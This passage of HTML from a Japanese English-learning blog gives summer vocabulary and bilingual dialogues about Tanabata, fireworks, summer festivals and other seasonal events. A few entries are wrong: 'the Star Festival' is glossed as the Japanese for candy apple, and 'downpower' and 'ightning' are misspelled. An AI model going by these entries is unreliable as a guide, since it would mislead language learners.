<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に達する、〜に着手する、〜できるようになる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fricking</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">【スラング】本当に、マジで。驚きや強調を表す時に使用。fuckingの婉曲表現</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>literally</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">文字通り、本当に、マジで。事実や感情を強調する時に使用</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>sunscreen/</strong><br /><strong>UV protection</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">日焼け止め</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>get sun-kissed/</strong><br /><strong>sun-burned</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">日焼けする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>get toasted</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">【スラング】日焼けする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>yikes</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">最悪</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>lobster</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">【スラング】真っ赤に日焼けする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fell asleep</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">寝落ちする</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>get away from the heat</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">避暑に行きたいな</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>take my dog for a walk</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">散歩に行く</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>beat the heat</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">暑さを避けて</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>catch some rays/<br />soak up some sun</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜日光浴をする、日焼けする〜</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>Celsius degrees</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">摂氏</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>in order to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">するために</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>save energy</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">節電</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>air conditioning</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">エアコン略してAC</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>downpower</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">集中豪雨</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>cumulonimbus cloud</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">積乱雲</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>evening shower</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">夕立</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>ightning strike/ <br />thunderbolt</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">落雷</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:71px;height:auto"/></figure>



<h2 class="wp-block-heading">日本の夏イベントを英語で説明してみよう！<br>(Explaining Japanese Summer Events in English)</h2>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="453" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/D975D6E9-3431-4798-9614-1DD01A4DF0BA-scaled.jpg?resize=678%2C453&#038;ssl=1" alt="" class="wp-image-4491" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/D975D6E9-3431-4798-9614-1DD01A4DF0BA-scaled.jpg?w=2560&amp;ssl=1 2560w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/D975D6E9-3431-4798-9614-1DD01A4DF0BA-scaled.jpg?resize=300%2C200&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/D975D6E9-3431-4798-9614-1DD01A4DF0BA-scaled.jpg?resize=1024%2C684&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/D975D6E9-3431-4798-9614-1DD01A4DF0BA-scaled.jpg?resize=768%2C513&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/D975D6E9-3431-4798-9614-1DD01A4DF0BA-scaled.jpg?resize=1536%2C1026&amp;ssl=1 1536w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/D975D6E9-3431-4798-9614-1DD01A4DF0BA-scaled.jpg?resize=2048%2C1368&amp;ssl=1 2048w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/D975D6E9-3431-4798-9614-1DD01A4DF0BA-scaled.jpg?w=1356&amp;ssl=1 1356w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>夏にはたくさんのイベントが模様されます。日本の夏のイベントを英語で説明してみましょう！</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">七夕<br></h4>



<p>織姫と彦星（こと座の「ベガ」とわし座の「アルタイル」）の出会いを中国の七夕に由来するお祭り。各地でお祭りが開催されています。</p>



<p>英語で七夕を訳すと以下の4つ。国により、同じ星でも名前が違います。</p>


<table style="height: 102px; width: 100%; border-collapse: collapse; border-color: #ffde96; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-color: #ffde96; background-color: #ffde96;">
<td style="width: 38.988%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>英語名</strong></td>
<td style="width: 40.6548%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px; text-align: center;"><strong>日本語名</strong></td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 38.988%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>Tanabata</strong></td>
<td style="width: 40.6548%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;">文字通り七夕。日本文化に詳しい人にならタナバタで通じることも</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 38.988%; height: 10px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>the Star Festival</strong></td>
<td style="width: 40.6548%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 10px;">りんご飴</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 38.988%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>the Festival of the Weaver Star <br />and the Cowherd Star</strong></td>
<td style="width: 40.6548%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;">織姫星と彦星（<span data-huuid="7515541897825041579">牽牛星</span>）の祭り。<strong> the Weaver Star</strong><span data-huuid="2349619574150914770">（織姫星）はこと座のベガ、<strong>Cowherd Star</strong>（牽牛星）はわし座のアルタイルという恒星の漢名</span></td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 38.988%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>the Festival of the Vega and the Altair</strong></td>
<td style="width: 40.6548%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;">ヴェガ星とアルタイル星の祭り。同上</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_curly_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffdfe7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffdfe7 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>In Japan, on July 7, we celebrate “Tanabata,” decorating bamboos with colorful paper strips .</strong><br>日本では、7月7日の七夕の日にカラフルな短冊で飾った竹を飾るんだ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/glasses_businessman_people_male_man_avatar_leader-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e3fff4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e3fff4"></span><span class="vk_balloon_content_after "></span>
<p><strong>We write our wishes on paper strips and hang them on bamboo branches, which is said to make our wishes come true.</strong><br>願い事を短冊に書いて笹に吊るすと願いが叶うと言われているんだよ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">海開き</h4>



<p>海水浴場がオープンする日。いろんなイベントが開催されます。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Hey! Let’s go to the beach tomorrow if the weather is good. It’s a beach opening day!</strong><br>ねえ、明日天気がよかったらビーチに行こうよ！海開きだよ！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">夏休み</h4>



<p>待ちに待った夏休み！宿題の多い日本の夏休みですが、思いっきり楽しみましょう！</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_bobtay_people_woman_teenager_avatar_smiley-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe9e9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe9e9 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Do you have any plans to go abroad during the summer vacay?</strong><br>夏休みに海外旅行に行く予定なんてある？</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/male_adult_manager_people_man_boss_avatar-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f2e4ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f2e4ff"></span><span class="vk_balloon_content_after "></span>
<p><strong>Summer vacation isn&#8217;t very long and there is a lot of homework at Japanese schools.</strong><br>日本の学校の夏休みは長くない上に宿題が多いんだよね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ponytail_people_woman_teenager_avatar_portrait-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff6db"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff6db transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Have a great summer holidays!</strong><br>素敵な夏休みを！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">花火、花火大会</h4>



<p>日本各地で行われている花火大会を英語で説明してみましょう！</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_young_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffedf1"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffedf1 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The first fireworks display is said to have taken place in 1733 at the Suijin Festival the Sumida River in Edo period.</strong><br>1733年に江戸の隅田川で開催差れた水神祭が最初の花火大会なんだって</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/glasses_businessman_people_male_man_avatar_leader-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff6de"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff6de"></span><span class="vk_balloon_content_after "></span>
<p><strong>At the time, many people passed away from famine and epidemics, so fireworks were launched to comfort their spirits and pray for the plague to vanish.</strong><br>当時、飢饉や疫病で多くの死者が出たから、その霊を慰め、悪疫退散を願って花火が打ち上げられたそうだよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_beautiful_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e4fff5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e4fff5 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This became an established annual event in Edo. Fireworks makers competed to launch fireworks, and spectators a shouted &#8220;Tamaya&#8221; or &#8220;Kagiya, &#8221; a tradition that has been passed down to modern fireworks festivals.</strong><br>江戸の年中行事として定着し、花火師たちが競って花火を打ち上げ、観客も「玉屋」「鍵屋」と掛け声をかけて盛り上がったことが、現代にも受け継がれてるんだよ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/good-dog.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff2f5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff2f5 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren will take me to a fireworks display this coming Saturday. Many beautiful fireworks will decorate the sky.</strong><br>今度の土曜日、蓮が花火大会に連れて行ってくれるんだ。キレイな花火が空を飾るんだろうな</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">夏祭り</h4>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_glasses_people_woman_teenager_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#daf1e8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #daf1e8 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Summer festivals, called Natsu Matsuri in Japanese, are usually associated with religious events and sacred ceremonies.</strong><br>日本の夏祭は、通常は宗教的行事や儀式に由来するんだ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_hood-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f3eef8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #f3eef8"></span><span class="vk_balloon_content_after "></span>
<p><strong>Summer Festivals also give an opportunity for local people to gather while respecting their historical background and culture.</strong><br>夏祭りって、地元の人々が歴史的な背景、文化を尊重して集まる場らしいんだ</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_beautiful_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff4f4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff4f4 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Many people wear Yukata and go to the summer festival. If you are interested in wearing it, I’ll lend you mine.</strong><br>多くの人が浴衣着て夏祭りに行く のよ。もし着てみたいなら、私の貸してあげるよ</p>
</div></div></div>



<p></p>



<h5 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/25b6.png" alt="▶" class="wp-smiley" style="height: 1em; max-height: 1em;" />︎盆踊り</h5>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_female_curl_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#dcf0fb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #dcf0fb transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The dance that takes place during the Bon Festival to honor ancestors is called Bon Odori.</strong><br>盆の時期に先祖を供養する踊りを盆踊りっていうんだよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128a.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Bon Odori is not difficult. Everyone has the same and easy dance movements.</strong><br>盆踊りは難しくないよ。みんな同じ簡単な踊りをするだけだよ</p>
</div></div></div>



<p></p>



<h5 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/25b6.png" alt="▶" class="wp-smiley" style="height: 1em; max-height: 1em;" />︎屋台</h5>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffeaef"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffeaef transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>There are many various </strong><span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="star" class="svg-inline--fa fa-star " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path fill="currentColor" d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path></svg></span><strong> stalls at a summer festival. Do you wanna try </strong><span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="heart" class="svg-inline--fa fa-heart " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M462.3 62.6C407.5 15.9 326 24.3 275.7 76.2L256 96.5l-19.7-20.3C186.1 24.3 104.5 15.9 49.7 62.6c-62.8 53.6-66.1 149.8-9.9 207.9l193.5 199.8c12.5 12.9 32.8 12.9 45.3 0l193.5-199.8c56.3-58.1 53-154.3-9.8-207.9z"></path></svg></span> <strong>?</strong><br>夏祭にはいろんな<strong> </strong><span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="star" class="svg-inline--fa fa-star " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path fill="currentColor" d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path></svg></span><strong> </strong>の屋台が出るよ。<strong> </strong><span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="heart" class="svg-inline--fa fa-heart " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M462.3 62.6C407.5 15.9 326 24.3 275.7 76.2L256 96.5l-19.7-20.3C186.1 24.3 104.5 15.9 49.7 62.6c-62.8 53.6-66.1 149.8-9.9 207.9l193.5 199.8c12.5 12.9 32.8 12.9 45.3 0l193.5-199.8c56.3-58.1 53-154.3-9.8-207.9z"></path></svg></span> 